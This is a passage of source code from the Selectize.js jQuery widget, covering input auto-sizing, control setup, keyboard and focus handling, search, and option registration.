				printable = (
						(keyCode >= 97 && keyCode <= 122) || // a-z
						(keyCode >= 65 && keyCode <= 90)  || // A-Z
						(keyCode >= 48 && keyCode <= 57)  || // 0-9
						keyCode === 32 // space
				);

				if (keyCode === KEY_DELETE || keyCode === KEY_BACKSPACE) {
					selection = getSelection($input[0]);
					if (selection.length) {
						value = value.substring(0, selection.start) + value.substring(selection.start + selection.length);
					} else if (keyCode === KEY_BACKSPACE && selection.start) {
						value = value.substring(0, selection.start - 1) + value.substring(selection.start + 1);
					} else if (keyCode === KEY_DELETE && typeof selection.start !== 'undefined') {
						value = value.substring(0, selection.start) + value.substring(selection.start + 1);
					}
				} else if (printable) {
					shift = e.shiftKey;
					character = String.fromCharCode(e.keyCode);
					if (shift) character = character.toUpperCase();
					else character = character.toLowerCase();
					value += character;
				}
			}

			placeholder = $input.attr('placeholder');
			if (!value && placeholder) {
				value = placeholder;
			}

			width = measureString(value, $input) + 4;
			if (width !== currentWidth) {
				currentWidth = width;
				$input.width(width);
				$input.triggerHandler('resize');
			}
		};

		$input.on('keydown keyup update blur', update);
		update();
	};

	var domToString = function(d) {
		var tmp = document.createElement('div');

		tmp.appendChild(d.cloneNode(true));

		return tmp.innerHTML;
	};


	var Selectize = function($input, settings) {
		var key, i, n, dir, input, self = this;
		input = $input[0];
		input.selectize = self;

		// detect rtl environment
		var computedStyle = window.getComputedStyle && window.getComputedStyle(input, null);
		dir = computedStyle ? computedStyle.getPropertyValue('direction') : input.currentStyle && input.currentStyle.direction;
		dir = dir || $input.parents('[dir]:first').attr('dir') || '';

		// setup default state
		$.extend(self, {
			order            : 0,
			settings         : settings,
			$input           : $input,
			tabIndex         : $input.attr('tabindex') || '',
			tagType          : input.tagName.toLowerCase() === 'select' ? TAG_SELECT : TAG_INPUT,
			rtl              : /rtl/i.test(dir),

			eventNS          : '.selectize' + (++Selectize.count),
			highlightedValue : null,
			isOpen           : false,
			isDisabled       : false,
			isRequired       : $input.is('[required]'),
			isInvalid        : false,
			isLocked         : false,
			isFocused        : false,
			isInputHidden    : false,
			isSetup          : false,
			isShiftDown      : false,
			isCmdDown        : false,
			isCtrlDown       : false,
			ignoreFocus      : false,
			ignoreBlur       : false,
			ignoreHover      : false,
			hasOptions       : false,
			currentResults   : null,
			lastValue        : '',
			caretPos         : 0,
			loading          : 0,
			loadedSearches   : {},

			$activeOption    : null,
			$activeItems     : [],

			optgroups        : {},
			options          : {},
			userOptions      : {},
			items            : [],
			renderCache      : {},
			onSearchChange   : settings.loadThrottle === null ? self.onSearchChange : debounce(self.onSearchChange, settings.loadThrottle)
		});

		// search system
		self.sifter = new Sifter(this.options, {diacritics: settings.diacritics});

		// build options table
		if (self.settings.options) {
			for (i = 0, n = self.settings.options.length; i < n; i++) {
				self.registerOption(self.settings.options[i]);
			}
			delete self.settings.options;
		}

		// build optgroup table
		if (self.settings.optgroups) {
			for (i = 0, n = self.settings.optgroups.length; i < n; i++) {
				self.registerOptionGroup(self.settings.optgroups[i]);
			}
			delete self.settings.optgroups;
		}

		// option-dependent defaults
		self.settings.mode = self.settings.mode || (self.settings.maxItems === 1 ? 'single' : 'multi');
		if (typeof self.settings.hideSelected !== 'boolean') {
			self.settings.hideSelected = self.settings.mode === 'multi';
		}

		self.initializePlugins(self.settings.plugins);
		self.setupCallbacks();
		self.setupTemplates();
		self.setup();
	};

	// mixins
	// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

	MicroEvent.mixin(Selectize);
	MicroPlugin.mixin(Selectize);

	// methods
	// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

	$.extend(Selectize.prototype, {

		/**
		 * Creates all elements and sets up event bindings.
		 */
		setup: function() {
			var self      = this;
			var settings  = self.settings;
			var eventNS   = self.eventNS;
			var $window   = $(window);
			var $document = $(document);
			var $input    = self.$input;

			var $wrapper;
			var $control;
			var $control_input;
			var $dropdown;
			var $dropdown_content;
			var $dropdown_parent;
			var inputMode;
			var timeout_blur;
			var timeout_focus;
			var classes;
			var classes_plugins;

			inputMode         = self.settings.mode;
			classes           = $input.attr('class') || '';

			$wrapper          = $('<div>').addClass(settings.wrapperClass).addClass(classes).addClass(inputMode);
			$control          = $('<div>').addClass(settings.inputClass).addClass('items').appendTo($wrapper);
			$control_input    = $('<input type="text" autocomplete="off" />').appendTo($control).attr('tabindex', $input.is(':disabled') ? '-1' : self.tabIndex);
			$dropdown_parent  = $(settings.dropdownParent || $wrapper);
			$dropdown         = $('<div>').addClass(settings.dropdownClass).addClass(inputMode).hide().appendTo($dropdown_parent);
			$dropdown_content = $('<div>').addClass(settings.dropdownContentClass).appendTo($dropdown);

			if(self.settings.copyClassesToDropdown) {
				$dropdown.addClass(classes);
			}

			$wrapper.css({
				width: $input[0].style.width
			});

			if (self.plugins.names.length) {
				classes_plugins = 'plugin-' + self.plugins.names.join(' plugin-');
				$wrapper.addClass(classes_plugins);
				$dropdown.addClass(classes_plugins);
			}

			if ((settings.maxItems === null || settings.maxItems > 1) && self.tagType === TAG_SELECT) {
				$input.attr('multiple', 'multiple');
			}

			if (self.settings.placeholder) {
				$control_input.attr('placeholder', settings.placeholder);
			}

			// if splitOn was not passed in, construct it from the delimiter to allow pasting universally
			if (!self.settings.splitOn && self.settings.delimiter) {
				var delimiterEscaped = self.settings.delimiter.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
				self.settings.splitOn = new RegExp('\\s*' + delimiterEscaped + '+\\s*');
			}

			if ($input.attr('autocorrect')) {
				$control_input.attr('autocorrect', $input.attr('autocorrect'));
			}

			if ($input.attr('autocapitalize')) {
				$control_input.attr('autocapitalize', $input.attr('autocapitalize'));
			}

			self.$wrapper          = $wrapper;
			self.$control          = $control;
			self.$control_input    = $control_input;
			self.$dropdown         = $dropdown;
			self.$dropdown_content = $dropdown_content;

			$dropdown.on('mouseenter', '[data-selectable]', function() { return self.onOptionHover.apply(self, arguments); });
			$dropdown.on('mousedown click', '[data-selectable]', function() { return self.onOptionSelect.apply(self, arguments); });
			watchChildEvent($control, 'mousedown', '*:not(input)', function() { return self.onItemSelect.apply(self, arguments); });
			autoGrow($control_input);

			$control.on({
				mousedown : function() { return self.onMouseDown.apply(self, arguments); },
				click     : function() { return self.onClick.apply(self, arguments); }
			});

			$control_input.on({
				mousedown : function(e) { e.stopPropagation(); },
				keydown   : function() { return self.onKeyDown.apply(self, arguments); },
				keyup     : function() { return self.onKeyUp.apply(self, arguments); },
				keypress  : function() { return self.onKeyPress.apply(self, arguments); },
				resize    : function() { self.positionDropdown.apply(self, []); },
				blur      : function() { return self.onBlur.apply(self, arguments); },
				focus     : function() { self.ignoreBlur = false; return self.onFocus.apply(self, arguments); },
				paste     : function() { return self.onPaste.apply(self, arguments); }
			});

			$document.on('keydown' + eventNS, function(e) {
				self.isCmdDown = e[IS_MAC ? 'metaKey' : 'ctrlKey'];
				self.isCtrlDown = e[IS_MAC ? 'altKey' : 'ctrlKey'];
				self.isShiftDown = e.shiftKey;
			});

			$document.on('keyup' + eventNS, function(e) {
				if (e.keyCode === KEY_CTRL) self.isCtrlDown = false;
				if (e.keyCode === KEY_SHIFT) self.isShiftDown = false;
				if (e.keyCode === KEY_CMD) self.isCmdDown = false;
			});

			$document.on('mousedown' + eventNS, function(e) {
				if (self.isFocused) {
					// prevent events on the dropdown scrollbar from causing the control to blur
					if (e.target === self.$dropdown[0] || e.target.parentNode === self.$dropdown[0]) {
						return false;
					}
					// blur on click outside
					if (!self.$control.has(e.target).length && e.target !== self.$control[0]) {
						self.blur(e.target);
					}
				}
			});

			$window.on(['scroll' + eventNS, 'resize' + eventNS].join(' '), function() {
				if (self.isOpen) {
					self.positionDropdown.apply(self, arguments);
				}
			});
			$window.on('mousemove' + eventNS, function() {
				self.ignoreHover = false;
			});

			// store original children and tab index so that they can be
			// restored when the destroy() method is called.
			this.revertSettings = {
				$children : $input.children().detach(),
				tabindex  : $input.attr('tabindex')
			};

			$input.attr('tabindex', -1).hide().after(self.$wrapper);

			if ($.isArray(settings.items)) {
				self.setValue(settings.items);
				delete settings.items;
			}

			// feature detect for the validation API
			if (SUPPORTS_VALIDITY_API) {
				$input.on('invalid' + eventNS, function(e) {
					e.preventDefault();
					self.isInvalid = true;
					self.refreshState();
				});
			}

			self.updateOriginalInput();
			self.refreshItems();
			self.refreshState();
			self.updatePlaceholder();
			self.isSetup = true;

			if ($input.is(':disabled')) {
				self.disable();
			}

			self.on('change', this.onChange);

			$input.data('selectize', self);
			$input.addClass('selectized');
			self.trigger('initialize');

			// preload options
			if (settings.preload === true) {
				self.onSearchChange('');
			}

		},

		/**
		 * Sets up default rendering functions.
		 */
		setupTemplates: function() {
			var self = this;
			var field_label = self.settings.labelField;
			var field_optgroup = self.settings.optgroupLabelField;

			var templates = {
				'optgroup': function(data) {
					return '<div class="optgroup">' + data.html + '</div>';
				},
				'optgroup_header': function(data, escape) {
					return '<div class="optgroup-header">' + escape(data[field_optgroup]) + '</div>';
				},
				'option': function(data, escape) {
					return '<div class="option">' + escape(data[field_label]) + '</div>';
				},
				'item': function(data, escape) {
					return '<div class="item">' + escape(data[field_label]) + '</div>';
				},
				'option_create': function(data, escape) {
					return '<div class="create">Add <strong>' + escape(data.input) + '</strong>&hellip;</div>';
				}
			};

			self.settings.render = $.extend({}, templates, self.settings.render);
		},

		/**
		 * Maps fired events to callbacks provided
		 * in the settings used when creating the control.
		 */
		setupCallbacks: function() {
			var key, fn, callbacks = {
				'initialize'      : 'onInitialize',
				'change'          : 'onChange',
				'item_add'        : 'onItemAdd',
				'item_remove'     : 'onItemRemove',
				'clear'           : 'onClear',
				'option_add'      : 'onOptionAdd',
				'option_remove'   : 'onOptionRemove',
				'option_clear'    : 'onOptionClear',
				'optgroup_add'    : 'onOptionGroupAdd',
				'optgroup_remove' : 'onOptionGroupRemove',
				'optgroup_clear'  : 'onOptionGroupClear',
				'dropdown_open'   : 'onDropdownOpen',
				'dropdown_close'  : 'onDropdownClose',
				'type'            : 'onType',
				'load'            : 'onLoad',
				'focus'           : 'onFocus',
				'blur'            : 'onBlur'
			};

			for (key in callbacks) {
				if (callbacks.hasOwnProperty(key)) {
					fn = this.settings[callbacks[key]];
					if (fn) this.on(key, fn);
				}
			}
		},

		/**
		 * Triggered when the main control element
		 * has a click event.
		 *
		 * @param {object} e
		 * @return {boolean}
		 */
		onClick: function(e) {
			var self = this;

			// necessary for mobile webkit devices (manual focus triggering
			// is ignored unless invoked within a click event)
			if (!self.isFocused) {
				self.focus();
				e.preventDefault();
			}
		},

		/**
		 * Triggered when the main control element
		 * has a mouse down event.
		 *
		 * @param {object} e
		 * @return {boolean}
		 */
		onMouseDown: function(e) {
			var self = this;
			var defaultPrevented = e.isDefaultPrevented();
			var $target = $(e.target);

			if (self.isFocused) {
				// retain focus by preventing native handling. if the
				// event target is the input it should not be modified.
				// otherwise, text selection within the input won't work.
				if (e.target !== self.$control_input[0]) {
					if (self.settings.mode === 'single') {
						// toggle dropdown
						self.isOpen ? self.close() : self.open();
					} else if (!defaultPrevented) {
						self.setActiveItem(null);
					}
					return false;
				}
			} else {
				// give control focus
				if (!defaultPrevented) {
					window.setTimeout(function() {
						self.focus();
					}, 0);
				}
			}
		},

		/**
		 * Triggered when the value of the control has been changed.
		 * This should propagate the event to the original DOM
		 * input / select element.
		 */
		onChange: function() {
			this.$input.trigger('change');
		},

		/**
		 * Triggered on <input> paste.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onPaste: function(e) {
			var self = this;
			if (self.isFull() || self.isInputHidden || self.isLocked) {
				e.preventDefault();
			} else {
				// If a regex or string is included, this will split the pasted
				// input and create Items for each separate value
				if (self.settings.splitOn) {
					setTimeout(function() {
						var splitInput = $.trim(self.$control_input.val() || '').split(self.settings.splitOn);
						for (var i = 0, n = splitInput.length; i < n; i++) {
							self.createItem(splitInput[i]);
						}
					}, 0);
				}
			}
		},

		/**
		 * Triggered on <input> keypress.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onKeyPress: function(e) {
			if (this.isLocked) return e && e.preventDefault();
			var character = String.fromCharCode(e.keyCode || e.which);
			if (this.settings.create && this.settings.mode === 'multi' && character === this.settings.delimiter) {
				this.createItem();
				e.preventDefault();
				return false;
			}
		},

		/**
		 * Triggered on <input> keydown.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onKeyDown: function(e) {
			var isInput = e.target === this.$control_input[0];
			var self = this;

			if (self.isLocked) {
				if (e.keyCode !== KEY_TAB) {
					e.preventDefault();
				}
				return;
			}

			switch (e.keyCode) {
				case KEY_A:
					if (self.isCmdDown) {
						self.selectAll();
						return;
					}
					break;
				case KEY_ESC:
					if (self.isOpen) {
						e.preventDefault();
						e.stopPropagation();
						self.close();
					}
					return;
				case KEY_N:
					if (!e.ctrlKey || e.altKey) break;
				case KEY_DOWN:
					if (!self.isOpen && self.hasOptions) {
						self.open();
					} else if (self.$activeOption) {
						self.ignoreHover = true;
						var $next = self.getAdjacentOption(self.$activeOption, 1);
						if ($next.length) self.setActiveOption($next, true, true);
					}
					e.preventDefault();
					return;
				case KEY_P:
					if (!e.ctrlKey || e.altKey) break;
				case KEY_UP:
					if (self.$activeOption) {
						self.ignoreHover = true;
						var $prev = self.getAdjacentOption(self.$activeOption, -1);
						if ($prev.length) self.setActiveOption($prev, true, true);
					}
					e.preventDefault();
					return;
				case KEY_RETURN:
					if (self.isOpen && self.$activeOption) {
						self.onOptionSelect({currentTarget: self.$activeOption});
						e.preventDefault();
					}
					return;
				case KEY_LEFT:
					self.advanceSelection(-1, e);
					return;
				case KEY_RIGHT:
					self.advanceSelection(1, e);
					return;
				case KEY_TAB:
					if (self.settings.selectOnTab && self.isOpen && self.$activeOption) {
						self.onOptionSelect({currentTarget: self.$activeOption});

						// Default behaviour is to jump to the next field, we only want this
						// if the current field doesn't accept any more entries
						if (!self.isFull()) {
							e.preventDefault();
						}
					}
					if (self.settings.create && self.createItem()) {
						e.preventDefault();
					}
					return;
				case KEY_BACKSPACE:
				case KEY_DELETE:
					self.deleteSelection(e);
					return;
			}

			if ((self.isFull() || self.isInputHidden) && !(IS_MAC ? e.metaKey : e.ctrlKey)) {
				e.preventDefault();
				return;
			}
		},

		/**
		 * Triggered on <input> keyup.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onKeyUp: function(e) {
			var self = this;

			if (self.isLocked) return e && e.preventDefault();
			var value = self.$control_input.val() || '';
			if (self.lastValue !== value) {
				self.lastValue = value;
				self.onSearchChange(value);
				self.refreshOptions();
				self.trigger('type', value);
			}
		},

		/**
		 * Invokes the user-provide option provider / loader.
		 *
		 * Note: this function is debounced in the Selectize
		 * constructor (by `settings.loadThrottle` milliseconds)
		 *
		 * @param {string} value
		 */
		onSearchChange: function(value) {
			var self = this;
			var fn = self.settings.load;
			if (!fn) return;
			if (self.loadedSearches.hasOwnProperty(value)) return;
			self.loadedSearches[value] = true;
			self.load(function(callback) {
				fn.apply(self, [value, callback]);
			});
		},

		/**
		 * Triggered on <input> focus.
		 *
		 * @param {object} e (optional)
		 * @returns {boolean}
		 */
		onFocus: function(e) {
			var self = this;
			var wasFocused = self.isFocused;

			if (self.isDisabled) {
				self.blur();
				e && e.preventDefault();
				return false;
			}

			if (self.ignoreFocus) return;
			self.isFocused = true;
			if (self.settings.preload === 'focus') self.onSearchChange('');

			if (!wasFocused) self.trigger('focus');

			if (!self.$activeItems.length) {
				self.showInput();
				self.setActiveItem(null);
				self.refreshOptions(!!self.settings.openOnFocus);
			}

			self.refreshState();
		},

		/**
		 * Triggered on <input> blur.
		 *
		 * @param {object} e
		 * @param {Element} dest
		 */
		onBlur: function(e, dest) {
			var self = this;
			if (!self.isFocused) return;
			self.isFocused = false;

			if (self.ignoreFocus) {
				return;
			} else if (!self.ignoreBlur && document.activeElement === self.$dropdown_content[0]) {
				// necessary to prevent IE closing the dropdown when the scrollbar is clicked
				self.ignoreBlur = true;
				self.onFocus(e);
				return;
			}

			var deactivate = function() {
				self.close();
				self.setTextboxValue('');
				self.setActiveItem(null);
				self.setActiveOption(null);
				self.setCaret(self.items.length);
				self.refreshState();

				// IE11 bug: element still marked as active
				dest && dest.focus();

				self.ignoreFocus = false;
				self.trigger('blur');
			};

			self.ignoreFocus = true;
			if (self.settings.create && self.settings.createOnBlur) {
				self.createItem(null, false, deactivate);
			} else {
				deactivate();
			}
		},

		/**
		 * Triggered when the user rolls over
		 * an option in the autocomplete dropdown menu.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onOptionHover: function(e) {
			if (this.ignoreHover) return;
			this.setActiveOption(e.currentTarget, false);
		},

		/**
		 * Triggered when the user clicks on an option
		 * in the autocomplete dropdown menu.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onOptionSelect: function(e) {
			var value, $target, $option, self = this;

			if (e.preventDefault) {
				e.preventDefault();
				e.stopPropagation();
			}

			$target = $(e.currentTarget);
			if ($target.hasClass('create')) {
				self.createItem(null, function() {
					if (self.settings.closeAfterSelect) {
						self.close();
					}
				});
			} else {
				value = $target.attr('data-value');
				if (typeof value !== 'undefined') {
					self.lastQuery = null;
					self.setTextboxValue('');
					self.addItem(value);
					if (self.settings.closeAfterSelect) {
						self.close();
					} else if (!self.settings.hideSelected && e.type && /mouse/.test(e.type)) {
						self.setActiveOption(self.getOption(value));
					}
				}
			}
		},

		/**
		 * Triggered when the user clicks on an item
		 * that has been selected.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onItemSelect: function(e) {
			var self = this;

			if (self.isLocked) return;
			if (self.settings.mode === 'multi') {
				e.preventDefault();
				self.setActiveItem(e.currentTarget, e);
			}
		},

		/**
		 * Invokes the provided method that provides
		 * results to a callback---which are then added
		 * as options to the control.
		 *
		 * @param {function} fn
		 */
		load: function(fn) {
			var self = this;
			var $wrapper = self.$wrapper.addClass(self.settings.loadingClass);

			self.loading++;
			fn.apply(self, [function(results) {
				self.loading = Math.max(self.loading - 1, 0);
				if (results && results.length) {
					self.addOption(results);
					self.refreshOptions(self.isFocused && !self.isInputHidden);
				}
				if (!self.loading) {
					$wrapper.removeClass(self.settings.loadingClass);
				}
				self.trigger('load', results);
			}]);
		},

		/**
		 * Sets the input field of the control to the specified value.
		 *
		 * @param {string} value
		 */
		setTextboxValue: function(value) {
			var $input = this.$control_input;
			var changed = $input.val() !== value;
			if (changed) {
				$input.val(value).triggerHandler('update');
				this.lastValue = value;
			}
		},

		/**
		 * Returns the value of the control. If multiple items
		 * can be selected (e.g. <select multiple>), this returns
		 * an array. If only one item can be selected, this
		 * returns a string.
		 *
		 * @returns {mixed}
		 */
		getValue: function() {
			if (this.tagType === TAG_SELECT && this.$input.attr('multiple')) {
				return this.items;
			} else {
				return this.items.join(this.settings.delimiter);
			}
		},

		/**
		 * Resets the selected items to the given value.
		 *
		 * @param {mixed} value
		 */
		setValue: function(value, silent) {
			var events = silent ? [] : ['change'];

			debounce_events(this, events, function() {
				this.clear(silent);
				this.addItems(value, silent);
			});
		},

		/**
		 * Sets the selected item.
		 *
		 * @param {object} $item
		 * @param {object} e (optional)
		 */
		setActiveItem: function($item, e) {
			var self = this;
			var eventName;
			var i, idx, begin, end, item, swap;
			var $last;

			if (self.settings.mode === 'single') return;
			$item = $($item);

			// clear the active selection
			if (!$item.length) {
				$(self.$activeItems).removeClass('active');
				self.$activeItems = [];
				if (self.isFocused) {
					self.showInput();
				}
				return;
			}

			// modify selection
			eventName = e && e.type.toLowerCase();

			if (eventName === 'mousedown' && self.isShiftDown && self.$activeItems.length) {
				$last = self.$control.children('.active:last');
				begin = Array.prototype.indexOf.apply(self.$control[0].childNodes, [$last[0]]);
				end   = Array.prototype.indexOf.apply(self.$control[0].childNodes, [$item[0]]);
				if (begin > end) {
					swap  = begin;
					begin = end;
					end   = swap;
				}
				for (i = begin; i <= end; i++) {
					item = self.$control[0].childNodes[i];
					if (self.$activeItems.indexOf(item) === -1) {
						$(item).addClass('active');
						self.$activeItems.push(item);
					}
				}
				e.preventDefault();
			} else if ((eventName === 'mousedown' && self.isCtrlDown) || (eventName === 'keydown' && this.isShiftDown)) {
				if ($item.hasClass('active')) {
					idx = self.$activeItems.indexOf($item[0]);
					self.$activeItems.splice(idx, 1);
					$item.removeClass('active');
				} else {
					self.$activeItems.push($item.addClass('active')[0]);
				}
			} else {
				$(self.$activeItems).removeClass('active');
				self.$activeItems = [$item.addClass('active')[0]];
			}

			// ensure control has focus
			self.hideInput();
			if (!this.isFocused) {
				self.focus();
			}
		},

		/**
		 * Sets the selected item in the dropdown menu
		 * of available options.
		 *
		 * @param {object} $object
		 * @param {boolean} scroll
		 * @param {boolean} animate
		 */
		setActiveOption: function($option, scroll, animate) {
			var height_menu, height_item, y;
			var scroll_top, scroll_bottom;
			var self = this;

			if (self.$activeOption) self.$activeOption.removeClass('active');
			self.$activeOption = null;

			$option = $($option);
			if (!$option.length) return;

			self.$activeOption = $option.addClass('active');

			if (scroll || !isset(scroll)) {

				height_menu   = self.$dropdown_content.height();
				height_item   = self.$activeOption.outerHeight(true);
				scroll        = self.$dropdown_content.scrollTop() || 0;
				y             = self.$activeOption.offset().top - self.$dropdown_content.offset().top + scroll;
				scroll_top    = y;
				scroll_bottom = y - height_menu + height_item;

				if (y + height_item > height_menu + scroll) {
					self.$dropdown_content.stop().animate({scrollTop: scroll_bottom}, animate ? self.settings.scrollDuration : 0);
				} else if (y < scroll) {
					self.$dropdown_content.stop().animate({scrollTop: scroll_top}, animate ? self.settings.scrollDuration : 0);
				}

			}
		},

		/**
		 * Selects all items (CTRL + A).
		 */
		selectAll: function() {
			var self = this;
			if (self.settings.mode === 'single') return;

			self.$activeItems = Array.prototype.slice.apply(self.$control.children(':not(input)').addClass('active'));
			if (self.$activeItems.length) {
				self.hideInput();
				self.close();
			}
			self.focus();
		},

		/**
		 * Hides the input element out of view, while
		 * retaining its focus.
		 */
		hideInput: function() {
			var self = this;

			self.setTextboxValue('');
			self.$control_input.css({opacity: 0, position: 'absolute', left: self.rtl ? 10000 : -10000});
			self.isInputHidden = true;
		},

		/**
		 * Restores input visibility.
		 */
		showInput: function() {
			this.$control_input.css({opacity: 1, position: 'relative', left: 0});
			this.isInputHidden = false;
		},

		/**
		 * Gives the control focus.
		 */
		focus: function() {
			var self = this;
			if (self.isDisabled) return;

			self.ignoreFocus = true;
			self.$control_input[0].focus();
			window.setTimeout(function() {
				self.ignoreFocus = false;
				self.onFocus();
			}, 0);
		},

		/**
		 * Forces the control out of focus.
		 *
		 * @param {Element} dest
		 */
		blur: function(dest) {
			this.$control_input[0].blur();
			this.onBlur(null, dest);
		},

		/**
		 * Returns a function that scores an object
		 * to show how good of a match it is to the
		 * provided query.
		 *
		 * @param {string} query
		 * @param {object} options
		 * @return {function}
		 */
		getScoreFunction: function(query) {
			return this.sifter.getScoreFunction(query, this.getSearchOptions());
		},

		/**
		 * Returns search options for sifter (the system
		 * for scoring and sorting results).
		 *
		 * @see https://github.com/brianreavis/sifter.js
		 * @return {object}
		 */
		getSearchOptions: function() {
			var settings = this.settings;
			var sort = settings.sortField;
			if (typeof sort === 'string') {
				sort = [{field: sort}];
			}

			return {
				fields      : settings.searchField,
				conjunction : settings.searchConjunction,
				sort        : sort
			};
		},

		/**
		 * Searches through available options and returns
		 * a sorted array of matches.
		 *
		 * Returns an object containing:
		 *
		 *   - query {string}
		 *   - tokens {array}
		 *   - total {int}
		 *   - items {array}
		 *
		 * @param {string} query
		 * @returns {object}
		 */
		search: function(query) {
			var i, value, score, result, calculateScore;
			var self     = this;
			var settings = self.settings;
			var options  = this.getSearchOptions();

			// validate user-provided result scoring function
			if (settings.score) {
				calculateScore = self.settings.score.apply(this, [query]);
				if (typeof calculateScore !== 'function') {
					throw new Error('Selectize "score" setting must be a function that returns a function');
				}
			}

			// perform search
			if (query !== self.lastQuery) {
				self.lastQuery = query;
				result = self.sifter.search(query, $.extend(options, {score: calculateScore}));
				self.currentResults = result;
			} else {
				result = $.extend(true, {}, self.currentResults);
			}

			// filter out selected items
			if (settings.hideSelected) {
				for (i = result.items.length - 1; i >= 0; i--) {
					if (self.items.indexOf(hash_key(result.items[i].id)) !== -1) {
						result.items.splice(i, 1);
					}
				}
			}

			return result;
		},

		/**
		 * Refreshes the list of available options shown
		 * in the autocomplete dropdown menu.
		 *
		 * @param {boolean} triggerDropdown
		 */
		refreshOptions: function(triggerDropdown) {
			var i, j, k, n, groups, groups_order, option, option_html, optgroup, optgroups, html, html_children, has_create_option;
			var $active, $active_before, $create;

			if (typeof triggerDropdown === 'undefined') {
				triggerDropdown = true;
			}

			var self              = this;
			var query             = $.trim(self.$control_input.val());
			var results           = self.search(query);
			var $dropdown_content = self.$dropdown_content;
			var active_before     = self.$activeOption && hash_key(self.$activeOption.attr('data-value'));

			// build markup
			n = results.items.length;
			if (typeof self.settings.maxOptions === 'number') {
				n = Math.min(n, self.settings.maxOptions);
			}

			// render and group available options individually
			groups = {};
			groups_order = [];

			for (i = 0; i < n; i++) {
				option      = self.options[results.items[i].id];
				option_html = self.render('option', option);
				optgroup    = option[self.settings.optgroupField] || '';
				optgroups   = $.isArray(optgroup) ? optgroup : [optgroup];

				$(option_html).removeClass('selected');

				for (j = 0, k = optgroups && optgroups.length; j < k; j++) {
					optgroup = optgroups[j];
					if (!self.optgroups.hasOwnProperty(optgroup)) {
						optgroup = '';
					}
					if (!groups.hasOwnProperty(optgroup)) {
						groups[optgroup] = document.createDocumentFragment();
						groups_order.push(optgroup);
					}
					groups[optgroup].appendChild(option_html);
				}
			}

			// sort optgroups
			if (this.settings.lockOptgroupOrder) {
				groups_order.sort(function(a, b) {
					var a_order = self.optgroups[a].$order || 0;
					var b_order = self.optgroups[b].$order || 0;
					return a_order - b_order;
				});
			}

			// render optgroup headers & join groups
			html = document.createDocumentFragment();
			for (i = 0, n = groups_order.length; i < n; i++) {
				optgroup = groups_order[i];
				if (self.optgroups.hasOwnProperty(optgroup) && groups[optgroup].childNodes.length) {
					// render the optgroup header and options within it,
					// then pass it to the wrapper template
					html_children = document.createDocumentFragment();
					html_children.appendChild(self.render('optgroup_header', self.optgroups[optgroup]));
					html_children.appendChild(groups[optgroup]);

					html.appendChild(self.render('optgroup', $.extend({}, self.optgroups[optgroup], {
						html: domToString(html_children),
						dom:  html_children
					})));
				} else {
					html.appendChild(groups[optgroup]);
				}
			}

			$dropdown_content.html(html);

			// highlight matching terms inline
			if (self.settings.highlight && results.query.length && results.tokens.length) {
				for (i = 0, n = results.tokens.length; i < n; i++) {
					highlight($dropdown_content, results.tokens[i].regex);
				}
			}

			// add "selected" class to selected options
			if (!self.settings.hideSelected) {
				for (i = 0, n = self.items.length; i < n; i++) {
					self.getOption(self.items[i]).addClass('selected');
				}
			}

			// add create option
			has_create_option = self.canCreate(query);
			if (has_create_option) {
				$dropdown_content.prepend(self.render('option_create', {input: query}));
				$create = $($dropdown_content[0].childNodes[0]);
			}

			// activate
			self.hasOptions = results.items.length > 0 || has_create_option;
			if (self.hasOptions) {
				if (results.items.length > 0) {
					$active_before = active_before && self.getOption(active_before);
					if ($active_before && $active_before.length) {
						$active = $active_before;
					} else if (self.settings.mode === 'single' && self.items.length) {
						$active = self.getOption(self.items[0]);
					}
					if (!$active || !$active.length) {
						if ($create && !self.settings.addPrecedence) {
							$active = self.getAdjacentOption($create, 1);
						} else {
							$active = $dropdown_content.find('[data-selectable]:first');
						}
					}
				} else {
					$active = $create;
				}
				self.setActiveOption($active);
				if (triggerDropdown && !self.isOpen) { self.open(); }
			} else {
				self.setActiveOption(null);
				if (triggerDropdown && self.isOpen) { self.close(); }
			}
		},

		/**
		 * Adds an available option. If it already exists,
		 * nothing will happen. Note: this does not refresh
		 * the options list dropdown (use `refreshOptions`
		 * for that).
		 *
		 * Usage:
		 *
		 *   this.addOption(data)
		 *
		 * @param {object|array} data
		 */
		addOption: function(data) {
			var i, n, value, self = this;

			if ($.isArray(data)) {
				for (i = 0, n = data.length; i < n; i++) {
					self.addOption(data[i]);
				}
				return;
			}

			if (value = self.registerOption(data)) {
				self.userOptions[value] = true;
				self.lastQuery = null;
				self.trigger('option_add', value, data);
			}
		},

		/**
		 * Registers an option to the pool of options.
		 *
		 * @param {object} data
		 * @return {boolean|string}
		 */
		registerOption: function(data) {
			var key = hash_key(data[this.settings.valueField]);
			if (typeof key === 'undefined' || key === null || this.options.hasOwnProperty(key)) return false;
			data.$order = data.$order || ++this.order;
			this.options[key] = data;
			return key;
		},

		/**
		 * Registers an option group to the pool of option groups.
		 *
		 * @param {object} data
		 * @return {boolean|string}
		 */
		registerOptionGroup: function(data) {
			var key = hash_key(data[this.settings.optgroupValueField]);
			if (!key) return false;

			data.$order = data.$order || ++this.order;
			this.optgroups[key] = data;
			return key;
		},

		/**
		 * Registers a new optgroup for options
		 * to be bucketed into.
		 *
		 * @param {string} id
		 * @param {object} data
		 */
		addOptionGroup: function(id, data) {
			data[this.settings.optgroupValueField] = id;
			if (id = this.registerOptionGroup(data)) {
				this.trigger('optgroup_add', id, data);
			}
		},

		/**
		 * Removes an existing option group.
		 *
		 * @param {string} id
		 */
		removeOptionGroup: function(id) {
			if (this.optgroups.hasOwnProperty(id)) {
				delete this.optgroups[id];
				this.renderCache = {};
				this.trigger('optgroup_remove', id);
			}
		},

		/**
		 * Clears all existing option groups.
		 */
		clearOptionGroups: function() {
			this.optgroups = {};
			this.renderCache = {};
			this.trigger('optgroup_clear');
		},

		/**
		 * Updates an option available for selection. If
		 * it is visible in the selected items or options
		 * dropdown, it will be re-rendered automatically.
		 *
		 * @param {string} value
		 * @param {object} data
		 */
		updateOption: function(value, data) {
			var self = this;
